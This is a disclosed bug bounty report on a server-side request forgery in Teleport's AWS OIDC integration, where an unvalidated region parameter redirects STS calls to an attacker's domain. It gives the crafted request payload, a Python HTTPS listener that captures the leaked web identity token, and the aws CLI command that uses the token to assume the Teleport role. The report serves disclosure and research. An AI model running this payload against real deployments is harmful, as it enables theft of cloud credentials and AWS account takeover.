Lucene search

K
hackeroneEl1g0ld8m1thH1:2442626
HistoryMar 31, 2024 - 8:50 p.m.

Teleport: SSRF in region parameter that leads to AWS Teleport role AWS account takeover

2024-03-3120:50:03
el1g0ld8m1th
hackerone.com
$10000
49
ssrf vulnerability
teleport
aws integration

7.3 High

AI Score

Confidence

High

You have an Integration page in Teleport where one of the options is AWS OIDC which will allow people in Teleport to add resources fluently without actually having initial access to these resources or installing any agents on them.
You will need to have connected and ready OIDC integration with AWS to test it. The setup is pretty easy.

Next let’s say, you are not an admin, but a regular developer or an attacker that access to a developer account.
Developers are allowed to add instances or rds or any other resources from the cloud. Maybe even not any resources, but just specific with a specific tag or whatever.
So let’s add some EC2 ;)
{F3156705}

Choose your working integration from the list and click Next.
Now enable interceptor traffic in Burp.
Choose any region and go to Burp.
You will see this kind of request:

POST /v1/webapi/sites/kali/integrations/aws-oidc/teleport/ec2 HTTP/1.1
Host: teleport.el1g0ld8m1th.com:3080
Cookie: ***
Content-Length: 37
Sec-Ch-Ua: "Not A(Brand";v="99", "Opera GX";v="107", "Chromium";v="121"
X-Csrf-Token: ***
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer ***
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 OPR/107.0.0.0
Content-Type: application/json; charset=utf-8
Accept: application/json
Sec-Ch-Ua-Platform: "macOS"
Origin: https://teleport.el1g0ld8m1th.com:3080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: same-origin
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{"region":"us-east-1","nextToken":""}

This request returns you the list of available machines to add.
We see 2 parameters: region andnextToken.
The region is an interesting one.
The value of the region parameter is automatically passed to the URL of the aws sts command with the URL:https://sts.REGION.amazonaws.comThe parameter is totally not validated. If you putXYZtoregion parameter you will see this error:

{
    "error": {
        "message": "rpc error: code = Unknown desc = operation error STS: GetCallerIdentity, get identity: get credentials: failed to retrieve credentials, operation error STS: AssumeRoleWithWebIdentity, https response error StatusCode: 0, RequestID: , request send failed, Post \"https://sts.XYZ.amazonaws.com/\": dial tcp: lookup sts.XYZ.amazonaws.com on 172.31.0.2:53: no such host"
    }
}

Can we put another domain there maybe?
“region”:“XYZ.xyz.com
Response:

{
    "error": {
        "message": "rpc error: code = Unknown desc = operation error STS: GetCallerIdentity, get identity: get credentials: failed to retrieve credentials, operation error STS: AssumeRoleWithWebIdentity, https response error StatusCode: 0, RequestID: , request send failed, Post \"https://sts.XYZ.xyz.com.amazonaws.com/\": dial tcp: lookup sts.XYZ.xyz.com.amazonaws.com on 172.31.0.2:53: no such host"
    }
}

Now let’s put some domain that we control, for example, sts.el1g0ld8m1th.com:7777(Make sure you really put the domain you control or you will leak your aws creds to some other domain access logs ;)). But we will add**/?** at the end of the domain:
“region”:“sts.el1g0ld8m1th.com:7777/?

Before sending it we need to cover a couple of things.
> First of all, we notice that as it is a sts query it always creates a subdomain sts. in front of our domain.
So what the attacker needs to do is to create another DNS record sts.attacker.domain pointing to his server.
In my case, it will be sts.el1g0ld8m1th.com
> We also need to make sure that the server that will accept incoming connections is running https with a valid certificate for this or wildcard domain.
I used Certbot to generate one easily.

Attaching here my python script so you can test easily:

#!/usr/bin/env python3

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import ssl

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        post_data = self.rfile.read(content_length) # <--- Gets the data itself
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data.decode('utf-8'))

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=443):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    httpd.socket = ssl.wrap_socket (httpd.socket,
    keyfile="/etc/letsencrypt/live/el1g0ld8m1th.com/privkey.pem",
    certfile='/etc/letsencrypt/live/el1g0ld8m1th.com/fullchain.pem', server_side=True)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

Put the location to the certs of your domain.
You can run your server using the command ==python3 server.py 7777== , where 7777 is the listening port.
So we send this request:

POST /v1/webapi/sites/kali/integrations/aws-oidc/teleport/ec2 HTTP/1.1
Host: teleport.el1g0ld8m1th.com:3080
Cookie: ***
Sec-Ch-Ua: "Not A(Brand";v="99", "Opera GX";v="107", "Chromium";v="121"
X-Csrf-Token: ***
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer ***
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 OPR/107.0.0.0
Content-Type: application/json; charset=utf-8
Accept: application/json
Sec-Ch-Ua-Platform: "macOS"
Origin: https://teleport.el1g0ld8m1th.com:3080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: same-origin
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 51

{"region":"el1g0ld8m1th.com:7777/?","nextToken":""}

And now let’s check what our listening server returns…
{F3156728}
It returns credentials to authenticate with AssumeRoleWithWebIdentity!
Now go to the bash terminal and send this request:

aws sts assume-role-with-web-identity \
    --duration-seconds 3600 \
    --role-session-name "1711917444206191257" \
    --role-arn "arn:aws:iam::153531963618:role/Teleport" --web-identity-token "***"

Replace –role-session-name value withRoleSessionNamefrom logs, –role-arnvalue withRoleArnfrom logs and**–web-identity-tokenvalue withWebIdentityToken** value from logs. Make sure to do URL decoding on the value before sending them.
Now we can authenticate and get credentials of the Teleport role.
{F3156735}
==So an attacker got access to aws account of the Teleport role and now can escalate easily and take over all AWS accounts as the role in order to function has a lot of access ec2+rds+mysql+aurora+eks+oidc and more.==

Impact

Full AWS account takeover over Teleport role credentials sent to attacker domain.

7.3 High

AI Score

Confidence

High